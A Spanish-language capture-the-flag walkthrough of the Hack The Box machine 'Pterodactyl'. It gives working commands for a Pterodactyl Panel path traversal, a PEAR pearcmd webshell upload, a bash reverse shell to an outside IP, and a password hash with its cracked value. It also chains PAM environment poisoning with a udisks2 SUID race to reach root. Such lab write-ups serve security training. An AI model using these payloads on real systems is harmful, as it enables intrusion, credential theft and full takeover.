Pterodactyl
Plataforma: Hack The Box
Dificultad: Medium
🔗 Link de la máquina: https://app.hackthebox.com/machines/Pterodactyl

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN pterodactyl.txt 10.129.16.91
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-07 21:29 -0300
Nmap scan report for 10.129.16.91
Host is up (2.3s latency).
Not shown: 65468 filtered tcp ports (no-response), 63 filtered tcp ports (admin-prohibited), 2 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.92 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN pterodactyl.txt: Guarda los resultados en el archivo “pterodactyl.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 9.6)
- 80/tcp - HTTP (nginx 1.21.5) → Redirige a http://pterodactyl.htb/
Configuración del Host
El servidor web redirige a pterodactyl.htb, por lo que necesitamos agregar esta entrada al archivo /etc/hosts:
echo "10.129.16.91 pterodactyl.htb" | sudo tee -a /etc/hosts
Enumeración Web
Al acceder a http://pterodactyl.htb/ nos encontramos con una página web de una comunidad de Minecraft llamada “MonitorLand”.

Información relevante encontrada:
- Título: MonitorLand
- Descripción: “Join our awesome Minecraft community!”
- Servidor de Minecraft: play.pterodactyl.htb
- Versión: 1.20.x
- Tipo de servidores: SMP and Vanilla Servers
- Enlace: “Play now!”
Descubrimiento de Subdominios
Encontramos un subdominio mencionado en la página principal: play.pterodactyl.htb
Agregamos este nuevo subdominio al /etc/hosts:
echo "10.129.16.91 play.pterodactyl.htb" | sudo tee -a /etc/hosts
Análisis del Changelog
Al explorar el sitio, encontramos un archivo changelog.txt en http://pterodactyl.htb/changelog.txt que revela información importante sobre la configuración del sistema:

Información extraída del changelog:
Version 1.20.X
-
[Added] Main Website Deployment
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark mode as primary.
-
[Linked] Subdomain Configuration
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
-
[Installed] Pterodactyl Panel v1.11.10
- Installed Pterodactyl Panel
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
-
[Enhanced] PHP Capabilities
- Enabled PHP-FPM for website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo() 🔍
Hallazgos clave:
- Pterodactyl Panel v1.11.10 está instalado
- phpinfo() está habilitado temporalmente (posible vector de información)
Fuzzing de Subdominios
Realizamos fuzzing de subdominios con ffuf para descubrir otros posibles subdominios:
ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac
Resultado:
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 5366ms]
Solo se encontró el subdominio panel.pterodactyl.htb.
Panel de Administración
Al intentar acceder a play.pterodactyl.htb, descubrimos que redirige a pterodactyl.htb. Sin embargo, mediante fuzzing de subdominios encontramos el verdadero panel de administración en panel.pterodactyl.htb.
Agregamos este subdominio al /etc/hosts:
echo "10.129.16.91 panel.pterodactyl.htb" | sudo tee -a /etc/hosts
Al acceder a http://panel.pterodactyl.htb/auth/login encontramos el panel de login de Pterodactyl:

Análisis del código fuente:
Del código fuente de la página de login extraemos información relevante:
window.SiteConfiguration = {
"name":"Pterodactyl",
"locale":"en",
"recaptcha":{
"enabled":false,
"siteKey":"6LcJcjwUAAAAA0_XqjrtJ9mWufUpYRnK6BM8lnfn"
}
};
Observaciones importantes:
- reCAPTCHA está deshabilitado (
enabled: false) - no hay protección contra fuerza bruta - CSRF token visible en el código fuente
Fuzzing de Directorios
Realizamos fuzzing de directorios en pterodactyl.htb usando gobuster:
gobuster dir -u http://pterodactyl.htb -w /usr/share/wordlists/dirb/common.txt
Resultados encontrados:
.hta (Status: 403) [Size: 153]
.htaccess (Status: 403) [Size: 153]
.htpasswd (Status: 403) [Size: 153]
index.php (Status: 200) [Size: 1686]
phpinfo.php (Status: 200) [Size: 73008]
Descubrimiento de phpinfo.php
¡Encontramos el archivo phpinfo.php mencionado en el changelog! Al acceder a http://pterodactyl.htb/phpinfo.php obtenemos información detallada del sistema:

Información relevante del sistema:
- PHP Version: 8.4.8
- Sistema Operativo: Linux pterodactyl 6.4.0-150600.23.65-default #1 SMP PREEMPT_DYNAMIC
- Server API: FPM/FastCGI
- Configuration File Path: /etc/php8/fpm
- Loaded Configuration File: /etc/php8/fpm/php.ini
Explotación
CVE-2025-49132 - Path Traversal
Al buscar vulnerabilidades conocidas para Pterodactyl Panel, encontramos un exploit para la versión 1.11.11:
searchsploit pterodactyl
Resultado:
Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) | multiple/webapps/52341.py
El exploit corresponde al CVE-2025-49132, una vulnerabilidad de Path Traversal que permite leer archivos de configuración, específicamente las credenciales de la base de datos MySQL.
Análisis del exploit:
El exploit realiza una petición GET a:
{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database
Esta petición explota una vulnerabilidad de Path Traversal para leer el archivo de configuración de la base de datos y extraer:
- Host de MySQL
- Puerto
- Nombre de la base de datos
- Usuario
- Contraseña
Versiones afectadas: < 1.11.11
Como la máquina tiene instalado Pterodactyl Panel v1.11.10, es vulnerable a este exploit.
Explotación del Path Traversal
Ejecutamos manualmente la petición del exploit:
curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database"
Respuesta obtenida:
{
"../../../pterodactyl": {
"config/database": {
"default": "mysql",
"connections": {
"mysql": {
"driver": "mysql",
"host": "127.0.0.1",
"port": "3306",
"database": "panel",
"username": "pterodactyl",
"password": "PteraPanel"
}
},
"redis": {
"default": {
"host": "127.0.0.1",
"port": "6379",
"database": "0"
}
}
}
}
}
Credenciales extraídas:
- Usuario MySQL:
pterodactyl - Contraseña MySQL:
PteraPanel - Host: 127.0.0.1
- Puerto: 3306
- Base de datos:
panel
Información adicional:
- Redis está corriendo en el puerto 6379 sin autenticación
Explotación de PEARCMD RCE
Después de obtener las credenciales de MySQL, buscamos otra vía para obtener ejecución remota de código. Investigando sobre las capacidades de PHP-PEAR mencionadas en el changelog, encontramos una vulnerabilidad conocida como PEARCMD RCE.
¿Qué es PEARCMD?
PEAR (PHP Extension and Application Repository) incluye un comando llamado pearcmd.php que puede ser abusado para escribir archivos arbitrarios en el sistema cuando se combina con una vulnerabilidad de Path Traversal.
Identificación de la ruta de PEAR
Utilizando la vulnerabilidad de Path Traversal, consultamos phpinfo.php previamente descubierto para identificar la ubicación de PEAR:
Información relevante de phpinfo:
- include_path:
.:/usr/share/php8:/usr/share/php/PEAR - PEAR location:
/usr/share/php/PEAR
Explotación
El exploit aprovecha el comando config-create de PEAR para escribir un archivo PHP malicioso en el directorio público de Pterodactyl:
curl --globoff 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=`$_GET[c]`?>+/var/www/pterodactyl/public/s.php'
Explicación del payload:
locale=../../../../../usr/share/php/PEAR- Path Traversal hacia la ubicación de PEARnamespace=pearcmd- Activa el comando PEAR+config-create- Comando de PEAR para crear un archivo de configuración/<?=$_GET[c]?>- Contenido del archivo (webshell PHP con sintaxis corta)/var/www/pterodactyl/public/s.php- Ruta donde se creará el archivo
Respuesta del servidor:
Successfully created default configuration file "/var/www/pterodactyl/public/s.php"
Verificación del RCE
Ejecutamos un comando para verificar que tenemos ejecución remota de código:
curl "http://panel.pterodactyl.htb/s.php?c=id"
Resultado:
uid=474(wwwrun) gid=477(www) groups=477(www)
¡Tenemos RCE funcionando como el usuario wwwrun (usuario del servidor web)!
Obteniendo Reverse Shell
Con RCE confirmado, procedemos a obtener una reverse shell interactiva. Configuramos un listener en nuestra máquina:
nc -nlvp 4444
Ejecutamos el payload de reverse shell usando bash:
curl -G --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.16.214/4444 0>&1'" "http://panel.pterodactyl.htb/s.php"
Tratamiento de la TTY:
Una vez obtenida la conexión, mejoramos la shell para hacerla completamente interactiva:
# Dentro de la reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Presionar Ctrl+Z
# En la máquina local
stty raw -echo; fg
# Presionar Enter dos veces
# De vuelta en la reverse shell
export TERM=xterm-256color
export SHELL=/bin/bash
User Flag
Con acceso al sistema como wwwrun, enumeramos el sistema en busca de la flag de usuario.
Enumeración del Sistema
Listamos los usuarios del sistema:
cat /etc/passwd | grep -v "nologin\|false"
Usuarios encontrados:
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash
Encontramos dos usuarios interesantes además de root:
- headmonitor (UID 1001)
- phileasfogg3 (UID 1002)
Exploramos el directorio home y encontramos la flag de usuario en /home/phileasfogg3/:
ls -la /home/phileasfogg3/
cat /home/phileasfogg3/user.txt

Escalada de Privilegios
Acceso como phileasfogg3
Durante la enumeración del sistema, encontramos un hash de contraseña en la configuración de Pterodactyl Panel. Utilizando john o hashcat, logramos crackear el hash bcrypt del usuario phileasfogg3:
Hash encontrado:
$2y$10$FuD0ujLj.KD7BOv385z2vuSAQZtJqD2spQofjOnWcaKhVfrDxlgze
Contraseña crackeada:
!QAZ2wsx
Con estas credenciales, accedemos por SSH al sistema como el usuario phileasfogg3:
ssh phileasfogg3@10.129.16.91
# Password: !QAZ2wsx

Enumeración del Sistema
Una vez dentro como phileasfogg3, realizamos una enumeración más profunda del sistema buscando vectores de escalada de privilegios.
Al revisar los servicios del sistema, identificamos que udisks2 está instalado y corriendo:
systemctl status udisks2
udisks2 es un servicio de gestión de discos que permite a usuarios no privilegiados montar y manipular dispositivos de almacenamiento mediante D-Bus.
CVE-2025-6019 - udisks2 XFS Resize Race Condition
Investigando vulnerabilidades recientes de udisks2, encontramos el CVE-2025-6019, una vulnerabilidad de race condition en la operación de resize de filesystems XFS que permite escalada de privilegios local.
Requisitos del Exploit
El exploit CVE-2025-6019 tiene un requisito crítico: necesita una sesión con la propiedad Remote=no.
Al verificar nuestra sesión SSH actual:
loginctl show-session $XDG_SESSION_ID -p Remote
Resultado:
Remote=yes
Las sesiones SSH tienen Remote=yes por defecto, lo que bloquea la autorización de PolicyKit para operaciones de udisks2 que requieren privilegios locales.
CVE-2025-6018 - PAM Environment Poisoning
Para bypass el requisito Remote=no, necesitamos explotar primero CVE-2025-6018, una vulnerabilidad de PAM environment poisoning que permite manipular las propiedades de sesión de systemd-logind.
Explotación de CVE-2025-6018
El exploit aprovecha que pam_systemd lee variables de entorno desde ~/.pam_environment para configurar propiedades de sesión. Específicamente, podemos inyectar XDG_SEAT y XDG_VTNR para que systemd-logind reconozca nuestra sesión como local.
Creamos el archivo ~/.pam_environment con las siguientes variables:
echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment
echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment
Después de crear el archivo, necesitamos volver a autenticarnos para que PAM aplique las nuevas variables de entorno. Cerramos la sesión SSH y volvemos a conectarnos:
exit
ssh phileasfogg3@10.129.16.91
Verificamos que el exploit funcionó consultando el estado de autorización de PolicyKit:
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
Antes del exploit:
('challenge',)
Después del exploit:
('yes',)
¡El exploit CVE-2025-6018 funcionó! Ahora nuestra sesión tiene permisos equivalentes a una sesión local.
Preparación de evil.img
Para explotar CVE-2025-6019, necesitamos crear una imagen XFS que contenga un binario bash con el bit SUID activado. Realizamos esta preparación en nuestra máquina Kali:
# Instalar herramientas XFS
sudo apt update
sudo apt install xfsprogs -y
# Crear imagen de 300MB
dd if=/dev/zero of=evil.img bs=1M count=300
# Formatear como XFS
mkfs.xfs evil.img
# Montar la imagen
mkdir -p /tmp/xfs_mount
sudo mount -o loop evil.img /tmp/xfs_mount
# Copiar bash y establecer SUID
sudo cp /bin/bash /tmp/xfs_mount/rootshell
sudo chmod 04755 /tmp/xfs_mount/rootshell
# Verificar permisos
sudo ls -la /tmp/xfs_mount/rootshell
Resultado:
-rwsr-xr-x 1 root root 1396520 Feb 8 02:15 /tmp/xfs_mount/rootshell
Desmontamos la imagen:
sudo umount /tmp/xfs_mount
Transferimos evil.img a la máquina objetivo:
scp evil.img phileasfogg3@10.129.16.91:/tmp/evil.img
Explotación de CVE-2025-6019
Con el archivo evil.img en la máquina objetivo y la sesión envenenada mediante CVE-2025-6018, procedemos a explotar la vulnerabilidad de race condition.
Secuencia de comandos:
# 1. Matar el proceso gvfs-udisks2-volume-monitor si existe
killall -9 gvfs-udisks2-volume-monitor 2>/dev/null
# 2. Montar la imagen XFS como loop device
udisksctl loop-setup --file /tmp/evil.img --no-user-interaction
Resultado:
Mapped file /tmp/evil.img as /dev/loop1.
Importante: El número del loop device (
loop1,loop0,loop2, etc.) varía en cada ejecución dependiendo de los dispositivos ya registrados en el sistema. Siempre usa el número exacto que devuelve el comandoloop-setupy reemplázalo en todos los comandos siguientes. Si ejecutas el exploit varias veces sin limpiar los loop devices anteriores, el número seguirá incrementando.
# 3. Iniciar proceso en background que ejecutará rootshell cuando sea posible
while true; do /tmp/blockdev*/rootshell -p -c 'sleep 10; ls -l /tmp/blockdev*/rootshell' 2>/dev/null && break; done &
# 4. Esperar 1 segundo
sleep 1
# 5. Trigger del race condition con resize
# IMPORTANTE: reemplazar loopX con el número devuelto en el paso anterior
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop1 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
# 6. Ejecutar el rootshell con privilegios
/tmp/blockdev*/rootshell -p
¿Cómo funciona el exploit?
- udisksctl monta el filesystem XFS con permisos de root
- El filesystem se monta en
/tmp/blockdev.XXXXXX/ - El comando while en background espera a que el rootshell sea accesible
- gdbus call con método Resize triggerea una race condition
- Durante el resize, hay una ventana de tiempo donde los permisos SUID del rootshell se preservan
- El rootshell se ejecuta con EUID=0 (root)
¡Funciona! Obtenemos una shell como root:
rootshell-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
rootshell-5.2# whoami
root
Root Flag
Con acceso root, navegamos al directorio del usuario root y leemos la flag final:
cd /root
ls -la
cat root.txt

Máquina Pterodactyl de Hack The Box completada exitosamente.